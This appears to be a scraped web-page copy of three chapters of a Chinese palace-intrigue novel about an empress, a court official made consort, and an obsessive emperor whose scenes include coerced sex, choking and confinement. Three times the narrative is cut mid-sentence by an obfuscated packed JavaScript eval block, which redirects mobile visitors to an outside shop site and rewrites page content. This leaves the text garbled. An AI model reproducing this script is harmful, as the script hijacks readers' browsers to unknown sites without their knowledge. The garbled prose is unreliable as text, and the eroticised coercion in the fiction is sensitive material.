郑黛露出一抹柔色,唤了声娘,正要坐下接过汤碗,忽听殿门外传来细碎的脚步声。
她猛地抬头,见胡玉烟缓步而入。胡玉烟穿着女官官服,浑身打扮一丝不苟,眉眼间带着从容的笑,很难让她联想到方才在御苑遇见的那人。
郑黛不由站起,心头一阵惊喜。
“听说皇后身子不适,我特来看看。”胡玉烟声音柔和,却带着一种无形的威压。
郑夫人急忙起身行礼,胡玉烟却招招手示意她落座,目光却落在那碗还未端起的药汤上。
她伸出手指,轻轻拈起汤盏边缘,指腹摩挲片刻,“皇后从前吃的药,是下官亲自安排的。”
郑黛微愣住,这她却是不知道。
郑夫人点头,慌了一下,语气依旧平稳:“臣妇特地请名医配的方子。”
胡玉烟轻轻“哦”了一声,淡淡地道:“夫人关心女儿。”她顿顿接着说:“……还有全家性命,是人之常情。”
“可这里是皇宫,夫人的一举一动不可能无人知晓。”
胡玉烟捏起药碗,手腕一松药就这样砸在地上。
金碗带着余温滚落在郑黛脚边,她看着胡玉烟的神情有些不知所措。
殿中空气骤然凝滞。
郑夫人脸色瞬间变得惨白,连忙跪下。
胡玉烟复又道:“前些日子下官病了,如今大好,皇后的衣食药膳还是由下官负责吧。圣上重视皇后与腹中子,必不会出半点纰漏。”
“原想着夫人入宫,皇后心中也能宽慰些,自然于腹中孩子也好。”胡玉烟叹了口气,“也罢,夫人还是尽快离宫吧。”
郑夫人脚下软了软,见这场面,只将头低埋,大气也不敢出。
胡玉烟挥手示意宫女将郑夫人请出去,郑黛怔怔望着母亲离开的背影,只觉脑中一片空白。
“胡尚宫……”
“皇后。”
郑黛怔了怔,眼眶有些发热,“这些日子你去哪了?我还以为……”
她曾日日派人去找,怕胡玉烟是被赵长昭迁怒遭了毒手。
胡玉烟垂眸,似在思索,又似不愿多谈:“我病了一场,歇了几日。”
“可连我都不见?”郑黛忍不住上前一步,神情又急又惶。
“皇后怎么不问问刚才的事?”胡玉烟反问。
郑黛瑟缩了一下,她已经猜到安胎药有问题了,眼中带着泪花,“怪我没和娘讲清楚,她只是拍我累及家族。”
她说了,可娘亲不肯信皇帝愿意忍下自己的皇后生下别人的孩子,看来在阿娘心中,她定是比不了家族的。
胡玉烟轻轻笑了,忽然轻轻拍了拍她的手,“皇后就这么信任我吗?”
郑黛有些失神,她名义上的夫君对她没有半分情谊,她在宫中寂寞惶恐,是胡玉烟常来与她作伴。
郑黛点了点头,胡玉烟却是有些歉疚。
她伸手摸了摸郑黛已经显怀的腹部,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759030|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皇后休息吧,孕中切记多思。”
殿外的风带着的凉意,胡玉烟理了理衣领,出了皇后宫中往正殿去了,路上偶尔有巡逻的侍卫见到她,皆低头行礼,不敢直视。
正殿的门半掩着,正是在等她。
“回来了?”
赵长昭从帘后走出,脸上挂着笑意,双手扶住胡玉烟的肩。
胡玉烟依旧立在原地不动。
“你铁了心要与我置气?”
胡玉烟的视线斜斜落在地面,“陛下是陛下,我怎么敢跟陛下置气?”
赵长昭的手僵了僵,又来握胡玉烟的手,撒娇般晃了晃,“都是我的错,好不好?”
他领着胡玉烟进到殿中,妆台前正摆着三套满绣嵌珠的吉服,首饰更是有满满一箱。
胡玉烟知道赵长昭的意思,只道:“陛下执意如此?”
赵长昭的面色冷了些,“我们今生若无名无分,那来世我又要到哪里去寻你?”
胡玉烟不为所动,反而走到软榻上倚下,她一手撑住头仰视着赵长昭,朝他招招手。
赵长昭顺势走到她身侧蹲下,将头靠在他膝上。
“从前我们也是这样的。”赵长昭忽而冒出这么一句,“玉烟以后哪也不要去了好不好?”
“就像从前一样……”
胡玉烟皱了皱眉,还没等她开口,赵长昭却是连连摇头道:“不不不,从前不好。”
他忽而死死攥住胡玉烟的手,“我派人去通知郑氏封玉烟为妃的消息了。”
“等郑氏的孩子生下来,我也会废了她,玉烟是我的皇后,我的正妻。”明明是不容拒绝的话,赵长昭却语气绵软带着请求。
胡玉烟面色不变,听着赵长昭的话一点反应也没有。
“玉烟还想要什么?我都可以给你?”赵长昭在胡玉烟膝上蹭了蹭,蹭着蹭着便红了眼眶。
胡玉烟抚摸着他的面颊,反而被他亲亲含住指尖。
她叹了口气道:“我无欲无求,陛下却求而不得,患得患失。”
“我是你痛苦的唯一原因吗?”
赵长昭像是被刺了一下,他直起身子,拧紧眉,死死盯着胡玉烟。
胡玉烟没有被他的模样吓到,她垂眸看着他发抖,知他痛苦反而变本加厉道:“赵长昭,我们算了吧。”
赵长昭指尖轻轻抬起,描着她眉眼的轮廓,像在细细端详一件珍宝。
他忽而发了力,一把将胡玉烟从软榻上抱起。
胡玉烟惊呼出声,又立刻镇静下来,任由赵长昭将她放在描金的木雕床上。脊背被磕得有些疼,胡玉烟意识到赵长昭真的有些生气了。
从衣领开始,赵长昭手上使了力气,将墨绿的官服撕出一道口子,他手上动作不断,直到衣服破得不成样子才停下。
“不需要了。”赵长昭贴着她面颊道:“玉烟以后就是宸妃了,不需要这些虚职官衔,那些琐碎事都不要操心了。”
“从今后就陪在我身边便好,只能陪在我身边。”
胡玉烟不挣扎也不阻止,外袍破烂不堪,她干脆全部脱下,只着白色的里衣。
赵长昭喘着粗气像在平复情绪,胡玉烟心下叹了口气,她想说她是一缕烟,旁人是抓不住的。
43. 丁香(三)
宫人们低声传言,说圣上心悦那位贵人,圣心所向,谁也拦不住。
内侍宣读的声音温顺而漫长,层层回荡在殿中。
封妃典礼盛大无比,相比之下前不久的封后典礼只像是走个过场。
殿外的百官齐声贺喜,胡玉烟微微一笑,温顺地应和,像是一个被宠坏的妃子。
郑黛坐在赵长昭身侧看着这一切,从知晓陛下要封的宸妃是谁时,她便昼夜心惊,等真正将见了胡玉烟后她又说不出心里的滋味。
胡玉烟素来生得极美,她的肤色白得近乎透明,唇色淡红,眼尾微挑,却不显媚俗,倒带着几分天生的骄矜。
赵长昭若看中她,也无可厚非,可这个人残忍无情,做他的宠妃恐怕不会有什么好下场。郑黛替胡玉烟难过,也替自己难过。
今日受封,胡玉烟着一袭淡金纱衣,外罩绣凤云纹的广袖长袍。鬓发高绾,斜插一支赤金步摇,流苏垂落间闪着细碎光泽。
她成了宸妃,与从前的胡尚宫判若两人。
衣角被手揉搓得发皱,郑黛小心翼翼地瞥了一眼身旁的赵长昭,赵长昭毫不掩饰眼中的痴迷。
殿中香烟缭绕,弄得她有些恶心,强撑着典礼结束,她轻抚腹间,行完礼,跟着众人退下。
郑黛一刻不停地回宫。
赵云晋端着一盘点心进来,眼神亮亮的:“这是孩儿亲自盯着膳房做的,母后快尝尝。”
郑黛仍是有些犯恶心,连连摆手拒绝了赵云晋的好心。
赵云晋看出了郑黛的不悦,想她一定是在宠妃那里受了委屈,低声道:“等日后我当了……”
郑黛一惊,连忙捂住他的嘴,回头紧张地看了看殿门外,才低声道:“以后不许再提,否则我们都活不成。”
赵云晋顺从地点点头。
郑黛却有些忧心,叫住了准备离开的赵云晋,“殿下虽养在我宫里,可陛下并没有让你做我的养子的意思,殿下日后不要叫我母后了。”
赵云晋只是愣了一下,然后恭顺地请安退下。
郑黛觉得身心俱疲,她坐在梳妆台上,召来宫女替她将繁重的头饰一一摘下。流苏叮当作响,落在锦垫上,声声轻碎。
她伸手抚了抚微隆的小腹,另一只手捏着霍九郎留下的那枚玉坠,指尖摩挲着那抹温润的凉意,忽而再也忍不住,泪水悄然滑落。
初闻情郎战死的消息时,她只是麻木,可随着时间推移,才觉得此情刻骨铭心。
宫女们见她哭了,竟不知所措起来。
“皇后娘娘?”紫环关切道。
郑黛忙擦了擦眼泪,紫环连声安慰:“陛下和宸妃都敬重娘娘,娘娘切莫多思,只顾安心养胎才是。”
“整个皇宫,谁真拿我当皇后?到底是把我带进来做什么?你平日连多一句话都不肯与我说,今日怎么忽然又会劝我安心?”郑黛越说越委屈。
紫环低下头,宫女们面面相觑,伺候郑黛的人都是精心挑选的,知道什么该说什么不该说。可新皇后温和柔顺,不似别人那般难伺候,反而让她们生出几分怜惜。
紫环取出一方锦帕,替郑黛拭去眼泪。
“我想我阿娘了。”郑黛忽然轻声道,语气有些恍惚,“我能不能去跟宸妃说,让她把我娘接回来?”
紫环手上动作不停,只摇了摇头,“皇后如今锦衣玉食地过活着,还是不要多生事端了。”
宫女们伺候她更衣、熄灯。殿内香雾氤氲,郑黛靠在锦枕上,正要阖眼,忽听殿外传来一阵急促的脚步声。
“娘娘!”守门的宫人低呼,还未通报,帘帐便被掀开,一阵冷风灌入殿中。
帘帐一掀,胡玉烟笑盈盈地闯了进来。她身上披着一件深绛色的披风,鬓边的金饰散乱,眼底却亮得惊人。
“玉烟?”郑黛惊讶得几乎要起身,语气中带着惶然,“你怎么来了?”
胡玉烟没答,径直走过去,自顾自坐在软榻上,伸手端起桌上茶盏,仰头喝了一口。她的唇角沾着水光,笑得漫不经心。
满屋子的宫女识趣地离开,独留郑黛站在原地不知所措。
“皇后娘娘。”胡玉烟唤她。
郑黛默默看着胡玉烟动作,“宸妃这是……”
“我给他留了信,说我走了,赵长昭现在正四处找我呢。”胡玉烟说得平静。
听到赵长昭,郑黛忍不住瑟缩了一下,几乎要出声去阻止她。胡玉烟却又笑,低声补了一句:“他绝对猜不到我躲在皇后这里。”
她轻描淡写地说着,像在讲一桩笑话。郑黛的心却一寸寸发凉,她看着胡玉烟那张笑着的脸,缓了缓才小声问:“宸妃……你这是做什么?你这样惹怒他,会出事的。”
郑黛犹豫再三终于将她那日看见越国贵女的尸体被抬出来的事与她说了。
“赵长昭杀人如麻,你若是不愿意,我们可以一起想办法……”
胡玉烟因这突如其来的关心怔愣住,郑黛明明才是怕赵长昭怕得要死的那个,怎么反倒安慰她?
她扶着郑黛坐下,又探出手去摸郑黛隆起的小腹,“皇后不问问我怎么突然一下成了妃子吗?不怪我吗?”
“我从小就听说书先生讲宫里的女人如何如何命苦,这都是陛下的意思,我怎么会怪你?”郑黛的声音越说越低,带着压抑的委屈。
胡玉烟忍不住轻笑,附和着郑黛的话,“对,都是赵长昭的错。”
夜风透过纱帐的缝隙钻进来,胡玉烟似乎很久没睡过安稳觉,她借着郑黛的枕头躺下,合上眼,不知是否安眠。
郑黛初时还有些紧张,见她并无异样,心才渐渐安定。她偷偷侧过身,看见胡玉烟的脸在灯下显得宁静而苍白。
殿中只余她们二人,偶尔风动,帐纱轻摇,檀香的味道在空气中若有若无。
郑黛听见胡玉烟忽而轻声叹息,她本想问问,却又不敢,只是替她掖了掖被角。直到夜色彻底沉寂,她才听见胡玉烟的呼吸终于平稳下来。
烛火在风中一闪一闪,像是随时要熄灭。
胡玉烟睁开眼,半盏茶的功夫后,她小心起身,披上外衫,轻步下榻。地上的青砖透着夜凉,脚底冰得生疼,她连忙寻到绣鞋穿上。
推开殿门时,风正吹来,烛火在背后灭了,整个寝殿顿时沉入黑暗。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764935|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
夜色深得像墨,宫路蜿蜒,胡玉烟不点灯,只借月光辨路。
守卫知她是谁,一见她来都纷纷将头低下。
胡玉烟先是去了正殿寝宫,却见里面空空如也,她向宫人打听了,顺着回廊往外走,直到看到那高高的宫墙。
她远远地就看见了他。
赵长昭正坐在宫墙边缘,衣袍被夜风掀起,整个人影被月光拉得极长。
“长昭。”她加快了脚步,隔得老远便叫他的名字。
赵长昭没有帝王的威仪,只像一个失魂落魄的男子,他低着头,肩膀微微颤动。
“玉烟——”他扑上来将胡玉烟抱进怀里。
鼻子磕到赵长昭胸膛,胡玉烟有些喘不过气,又分明感觉到自己的颈侧湿润一片。
赵长昭先是小声呜咽,紧接着又开始啜泣。
“骗子……”赵长昭说着自己的委屈。
胡玉烟安抚地拍了拍他的背,“我逗你玩呢。”
赵长昭加重了手上力道,“我到处都找不到你。”
胡玉烟挣了挣,“我这不是来找你了吗?”
赵长昭怎么也不肯松开手,“今天明明是我们的大婚之夜的。”
胡玉烟下意识想哄他,又觉得他们两个就是要这样抱着痛哭流涕才对。
赵长昭没有等到她的回话,胸口闷闷的,委屈渐渐变成了怨怼。
“你是不是真的想离开我?”他放高了音量质问。
胡玉烟眉头跳了跳,知道赵长昭又要开始不讲理了,“我答应过你不会离开。”
“我什么都可以答应你,唯独这件事不行!”他抓住她的肩膀,“你生,是我的妻子。我死,做鬼也要纠缠着你!”
“你休想丢下我!”
胡玉烟一口咬在赵长昭手背上,再看向他时,眼中多了几分凌厉。
赵长昭闭了眼,重重地呼吸着,他弯下腰一把将胡玉烟抱起,一路走回寝殿。
红烛明亮,帷帐垂落,案上陈列着成双成对的酒盏与玉壶。
胡玉烟被他放下时,脚尖刚落地,便被一方赤红的盖头覆上。那布料柔软,带着淡淡的熏香,遮去了她的视线。
她愣了一下。
赵长昭的声音低低的,从近在咫尺的地方传来,“玉烟,我们成亲了。”
他为她整了整盖头,又退后半步,像是在细细看着她。
殿中静极了。
下一刻,他俯身用喜秤将那盖头重新掀起。烛光映在胡玉烟的面上,她的眉眼明灭不定。
赵长昭看着她,目光一点点变得深沉。
他取过案上的酒壶,斟满两杯,酒杯并非寻常金玉所制,而是以小葫芦雕成,形制古拙,杯口贴着细细的红丝线,缠绕成结。
胡玉烟眼神平淡,她接过那盏酒,酒香淡苦。
两人相对而立,红线缠绕在各自手中,他们举杯一饮而尽。
此后便是无话可说,胡玉烟在榻上摸到了莲子红枣之类的物件,索性吃了起来。
赵长昭见红烛将要燃尽,又取出新的换上。天光一点点亮了起来,一夜便这么过去。
44. 丁香(四)
窗外传来一声鸟儿的轻啼,赵长昭带着几分疲惫坐到胡玉烟身侧,他去抓她的手,两个人都被冷风吹得冰凉,说不清谁的手更冷一些。
他道,“我们梳洗一下,去拜见皇兄吧。”
胡玉烟有一瞬间的僵硬,她话语温吞,“先帝怕是不会想见你我。”
赵长昭没有情绪起伏,在她手心处吻了吻,摇摇头,“皇兄最记挂之人便是你我,不会不见我们的。”
紧握着的双手渐渐生出热意,胡玉烟想挣脱,赵长昭反而攥得更紧了,他带着几分祈求道:“玉烟,你别折磨我了好不好?”
赵长昭眼眶红红的,鼻尖也红红的,“玉烟已与我成婚,我们从今以后好好在一起,不行吗?”
胡玉烟一时间有些触动,她扪心自问看到赵长昭痛苦她也是痛的,可若是连这点痛都没有了,她又怎么算活着呢?
她抬眸望着他,目光里有悲悯,“你知道的,我从城楼上跌下来,太医说我已是油尽灯枯,你非要把一地碎骨拼好。我活着只为看到上官家覆灭,我看见了,我该离去了。”
赵长昭的眼神光暗了下去,他想说她还有他,可生怕高看了自己,转而道:“郑氏就要生产了,你不想见见小侄儿吗?我们还要一起看他长大……”
胡玉烟捂着嘴轻咳了一声,她将先前事一一诉来,仿佛已经置身事外,只剩赵长昭还在原地耿耿于怀。
赵长昭的嘴角仍带着笑意,他笃定,“你真的没有一丁点爱我吗?”
胡玉烟张张口,说不出话来,她望着他时,那种痛苦是无法掩饰的,“上官家夺走了我的一切,只将你留给我。”
她的睫毛湿了一瞬,“你是我被撕开的另一半,我所有的伤、所有的恨,我的丧夫丧子之痛,我浑身血污的肮脏,在你身上统统都能找到回声。”
“我变成这样有你的一份原因,可这些都不是你的错,所以我原谅你。”
“你是我的半条命,可你不能要求一个心死之人说爱。”
她掌心抚上他脸颊的一瞬,赵长昭闭上了眼,“够了。”
他突然伸手,一把抓住胡玉烟的肩,力道大得像要将她按回现实,“那些都过去了,我们还有以后,从今以后我们好好的,不行吗?”
“我知道这些年的坚持、执着、念念不忘……在你眼里什么都不是。”
“可是我错了吗?”他追问,“你有一天会不会为我痛哭流涕,为我追悔莫及?”
他停了一瞬,“古书里写书生为情殉死,我总笑那般痴情虚妄。等到了自己身上,方知此言不假。”
“你想怎么对我都可以,只求你别留下我一人……”
他俯下身,几乎是贴在她唇边,一字一句像誓言,也像诅咒。
看着赵长昭眼底的血丝一点点爬开,胡玉烟再次抚上他的脸,她嘴唇轻颤,“景元五年,你带了先帝的一缕头发与我,说先帝要与我恩断情绝。”
她问:“秀郎,你是不是在骗我?”
看了赵长曙的书信,她已猜到当年之事缘何了。
每个字都像落在刀刃上,胡玉烟面色平静,就这么淡淡地注视着他。
赵长昭乱了呼吸,胸口传来一阵钝痛。
“是。”他承认了。
赵长昭注视着她,一行泪水从圆睁的眼眶中滚落。
胡玉烟点点头,并不意外,她复又道:“今日你我大婚,我们一会儿去看看先帝吧。”
赵长昭在一瞬间发出一声崩溃的笑意,那痛意从心口蔓延到指尖。他止不住地颤抖,又看着胡玉烟,她仍是那样平静地看着他。
赵长昭好像从泪水朦胧间看见胡玉烟脸上的讥讽,他终于确信他的真心深情在胡玉烟眼前不过是跳梁小丑。
他站起身,踉跄地走了几步,转身对着窗台,忽而大力掀开窗户,凉风吹入,赵长昭的本就歪斜的发冠砸在地上,一头墨发铺散开。
胡玉烟依旧坐在榻上,她这才注意到赵长昭的玄色外袍上,用金红交织的绣线绣了一朵并蒂莲。看着赵长昭摇摇欲坠,她一把捏碎了手中的干桂圆。
果肉被送进嘴里,胡玉烟嚼了嚼,甜的。
凉风不停地往屋中灌,天光一点点大亮,眼下秋景肃杀,窗外实在没什么景色,胡玉烟默默看着那笔挺的背影,终是叹了口气。
“秀郎……”她上前几步,抚上赵长昭的肩,语气带着哄。
赵长昭猛得转身,阴鸷的目光吓了胡玉烟一跳。
他一言不发,等着她走近。然后一手托住她的下颚,下一刻发了狠般吻了上去,胡玉烟有些措手不及,紧接着扯住面前的衣襟,她回应着,很快就跟上了他的节奏。
赵长昭将她推到榻上,锦被下的桂圆莲子硌得人生疼,胡玉烟下意识发出一声轻呼,接着又捧着赵长昭的面颊。
“秀郎……”她唤他,带着几分意乱情迷。
赵长昭却掐住她的脖子让她远离他,压着声音道:“住嘴!”
胡玉烟皱了皱眉,偏要凑上去吻他,赵长昭却偏着头躲过,他手上动作有条不紊,很快将胡玉烟剥得赤条条。
胡玉烟抬脚抵在赵长昭的肩上,止住他继续向前的动作,赵长昭也不恼,反而在那白玉般的脚踝上吻了吻,紧接着反手握上,将人拽向自己。
胡玉拧紧了眉,感受着浑身各处传来的酥麻。
“秀郎……”她想去握赵长昭的手,赵长昭却握着她的腰令她翻身,整个人埋在锦被上。
胡玉烟难耐地挣了挣,扭过头去看赵长昭,只见他喉头滚动,双眼红红,呼吸粗重,衣服却还好端端地穿在身上。
胡玉烟意识到了自己的狼狈,心中升起几分不悦,她半撑起身子,立刻就想到你报复的方式,忍着痛将牙齿咬向舌尖。
腥甜的味道很快弥漫开来,一缕鲜血顺着唇角滑落。
赵长昭正低头亲吻她的颈侧,眼角余光瞥见那抹血色,动作陡然一僵。
“玉烟——”他声音发颤,几乎是惊惶地扶住她的肩,“怎么了?疼吗?”
胡玉烟轻轻喘着气,唇边血迹未干,神情却极平静,只是虚弱地摇了摇头,扯来被角盖在自己身上。
赵长昭不信,手忙脚乱地去擦她的唇,指尖染上红,他的脸色一瞬惨白。
“我叫太医,别动,别说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768605|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话——”他几乎要从床上起身,却被胡玉烟拽住衣袖。
她抬眸,眼神里带着一点冷意与怜悯。
“陛下怕了?”
赵长昭怔住,看着那一抹鲜红,又看着她微扬的唇角,心里忽然一阵发凉。他恍然大悟,明白胡玉烟就是刻意想与他玩笑。
一瞬间的怒火攻心,赵长昭一手掐住胡玉烟的脖颈,一手握住她的双腕,将人牢牢控制住。他毫不掩饰自己的力道,一口咬在她肩头,他看看,又嫌那印迹不够深,于是又咬了上去。
胡玉烟挣扎着,这点力气在一个成年男子面前显得微不足道。
“赵长昭,你长本事了啊。”胡玉烟的表情从轻蔑变得不可置信。
赵长昭不理会,继续发了狠地吻她,胡玉烟慌乱地躲避着,偏要与他较劲,赵长昭顾不得弄疼她,下一瞬一个清晰的巴掌甩在了赵长昭脸上。
赵长昭挨了这一下,反而笑了,他胸膛起伏不定,一手捂住胡玉烟的嘴,与她额头先贴,只直直看着那双眼。
他不想听她说话,只是看着她眼里的漠然、难耐、愤怒……感受着掌心下传来的阵阵喘息。
胡玉烟再次醒过来时,天已经黑了。
她一睁眼,正看见赵长昭躺在她身侧,一手撑着头,正直勾勾地看着她。
胡玉烟立刻被看得起心中发麻,索性抱着被子背过身去。转身之际,身上的隐隐痛楚令她下意识哼出声。
赵长昭不管这么多,干脆大手一挥将胡玉烟揽进自己怀里,一点点啄吻她的脊背。
胡玉烟心中升起一阵恼怒,哑着嗓子喊了声“滚”。
赵长昭不为所动,反而将手往下探去。他还想靠近,又被胡玉烟一眼逼退。
胡玉烟一言不发,伸手拿过枕头,狠狠朝他砸了过去。她力气绵软,却让赵长昭皱了眉。
“滚出去!”
赵长昭怔了怔,枕头擦过他的肩,落在地上,安静地滚了两下。
“玉烟——”
“我让你滚!”胡玉烟嘶吼出声,“你没听见吗!”
屋内气息凝滞,赵长昭的唇动了动,却终究什么也没说。他捡起地上散落的衣服,转过身一件件穿好,最后将快要燃尽的红烛换成新的。门被他推开又合上,只剩余温未散。
胡玉烟听着赵长昭离开,又重新躺倒在榻上,她将被子蒙过头,继续入眠。
再睁眼时,眼前是熟悉的帷帐与沉闷的香气。
赵长昭一直与她同寝同眠,可现下她不想见他,准备去另外的住处。胡玉烟掀开被褥下床,赤足踩在冰冷的地砖上,走到屋外,才发现门外有两列宫人垂首而立。
胡玉烟皱了眉,这些宫女太监尽是面目陌生。
胡玉烟抬步欲走,宫人齐齐道:“宸妃娘娘请安歇,陛下有旨,您不得出殿。”
胡玉烟眯起眼,“掌嘴。”
回话的内侍只好听命,众人纷纷跪地,只道:“娘娘莫要为难奴婢。”
胡玉烟转身环顾四周,帷帐绣着金线凤纹,桌案上摆着她惯用的香炉与玉盏。看着那扇沉重的宫门,心底的怒意一点点沉下去,化成寒意。